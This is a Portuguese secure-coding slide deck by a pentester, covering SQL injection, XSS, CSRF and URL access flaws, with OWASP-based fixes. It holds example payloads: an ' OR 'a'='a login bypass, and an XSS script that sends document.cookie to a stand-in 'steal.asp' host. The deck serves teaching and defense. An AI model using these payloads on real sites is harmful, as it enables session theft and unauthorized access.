lições praticas de codigo seguro

27
Lições Práticas de Código Seguro

Upload: arthur-paixao

Post on 24-May-2015

808 views

Category:

Documents


4 download

TRANSCRIPT

Page 1: Lições praticas de codigo seguro

Lições Práticas de Código Seguro

Page 2: Lições praticas de codigo seguro

Quem sou eu?

• Arthur Paixão• 5 Anos de experiência na área de segurança da informação• Certificações:

EC-CSA (EcCouncil Certified Security Analyst) EC-CHFI (EcCouncil Computer Hacking Forensic Investigator)

• Diversos cursos de especialização na área:

INTEL, Fundação Bradesco, DragonJAR, Offensive Security

• Atualmente trabalho:Security Consulting & Pentester: Equipe de Resposta a Tratamento de

Incidentes de Segurança (CSIRT)Desenvolvedor: Java, Flex, PL-SQL, Oracle Forms (6i & 10g)

Page 3: Lições praticas de codigo seguro

Agenda

A Evolução dos Ataques Application Security != Network Security Entendendo as táticas do inimigo O quanto segura deve ser sua aplicação? Custos que envolvem uma aplicação segura ? Porquê o PHP é tão vulnerável?

Page 4: Lições praticas de codigo seguro

Agenda

Principais Ameaças: Injeções Cross-Site Scripting (XSS)Referência direta à objetos Cross-Site Request Forgery (CSRF)Falha na Restrição de Acesso à URLsURL Manipulation

Page 5: Lições praticas de codigo seguro

Agenda

Principais Ameaças:Canal InseguroRedirecionamentos Não-Validados

Page 6: Lições praticas de codigo seguro

Segurança é ...?

Page 7: Lições praticas de codigo seguro

É tudo a mesma coisa?

Application Security != Network Security

X

Page 8: Lições praticas de codigo seguro

Evolução dos Ataques

A evolução dos ataques.

Page 9: Lições praticas de codigo seguro

Onde identificar falhas?

No início, ao não identificar as necessidades de segurança

Na criação de arquiteturas conceituais que possuam erros de lógica

No uso de más práticas de programação que introduzam vulnerabilidades técnicas

Na implementação do software de modo inapropriado Na inserção de falhas durante a manutenção ou a

atualização

Page 10: Lições praticas de codigo seguro

Onde identificar falhas?

Vulnerabilidades de software podem ter um escopo muito maior do que o do próprio software.

• O software e sua informação associada• O sistema operacional dos servidores associados• A base de dados do backend.• Outras aplicações em um ambiente compartilhado• O sistema do usuário• Outros softwares com os quais o usuário interage

Page 11: Lições praticas de codigo seguro

URL Manipulation

O comando GET requisita informações importantes na URL.

Os parâmetros podem ser manipulados para se obter resultados satisfatórios.

O impacto é ALTO. Variações podem ser feitas para se tentar obter

resultados interessantes.

http://www.vitima.com/exemplo?usuario=arthurpaixao&senha=123

Page 12: Lições praticas de codigo seguro

Falha na Restrição de Acesso à URLs

Exposição do nível de privilégio.É possível forçar outros níveis

(admin, manager, etc)

Page 13: Lições praticas de codigo seguro

Falha na Restrição de Acesso à URLs

Recomendações:Restrição de acesso em várias

camadas.Bloqueie requisições à tipos não

autorizados de arquivos (configurações, logs, fontes, etc.)

Page 14: Lições praticas de codigo seguro

SQL Injection

A ideia é injetar um comando SQL (Structured Query Language) ou comando como imput dos dados em um formulário WEB.

Todos os parâmetros passados são direcionados para o banco de dados.

O atacante pode manipular com as tabelas e dados diretamente.

Page 15: Lições praticas de codigo seguro

SQL Injection

• Client-Side: (O Truque Ninja) ' OR 'a'='a

•Server-Side:SELECT id FROM usuariosWHERE nome = '$nome'AND senha = '' OR 'a'='a';

Page 16: Lições praticas de codigo seguro

Injections em Geral

Recomendações: Tratamento de entradas Validação por whitelist Minimize os privilégios OWASP:

SQL_Injection_Prevention_Cheat_Sheet

Page 17: Lições praticas de codigo seguro

Cross-Site Scripting (XSS)

Enviados ao browser do usuário Posts, URLs, javascript, etc... Todo Browser é “vulnerável”:

javascript:alert(document.cookie) Redirecionamento e/ou roubo de dados

Page 18: Lições praticas de codigo seguro

Cross-Site Scripting (XSS)

Page 19: Lições praticas de codigo seguro

Cross-Site Scripting (XSS)

• Esta vulnerabilidade tira vantagens de sites que não fazem o tratamento dos dados de entrada.

• O POST contém um script que pode ser executado via browser.

<script>window.navigate("http://site.com/steal.asp?cookie="+document.cookie)

</script>

Page 20: Lições praticas de codigo seguro

Cross-Site Scripting (XSS)

• Ataque de XSS Persistente Dados enviados sem tratamento para

usuários.

Page 21: Lições praticas de codigo seguro

Cross-Site Scripting (XSS)

• Ataque de XSS Não Persistente Dados enviados de volta sem tratamento e

executado no browser da vítima.

Page 22: Lições praticas de codigo seguro

Cross-Site Scripting (XSS)

• Ataque de XSS DOM Código executado no browser utilizando

elementos do DOM. Não há falha no servidor

Page 23: Lições praticas de codigo seguro

Cross-Site Scripting (XSS)

• Recomendações: Validação de entrada Validação de saída Validação de elementos do DOM OWASP

XSS Prevention Cheat Sheet

Page 24: Lições praticas de codigo seguro

Cross Site Request Forgery (CSRF)

• Browsers enviam alguns tipos de credenciais automaticamente em cada requisição.

Cookies

Cabeçalhos

Endereço IP

Certificados SSL

Page 25: Lições praticas de codigo seguro

Cross Site Request Forgery (CSRF)

• Recomendações: Autenticações forcadas em requisições

sensíveis. Controle exposição de dados utilizados

como credenciais. OWASP:

CSRF_Prevention_Cheat_Sheet

Page 26: Lições praticas de codigo seguro

Referência

• www.usecurity.com.br

• www.owasp.org

• www.thehackernews.com

• www.guiadohacker.com.br/forum

• www.remote-execution.blogspot.com.br

• www.securitytube.net

Page 27: Lições praticas de codigo seguro

[email protected]/arthur.paixaotwitter.com.br/arthurpaixao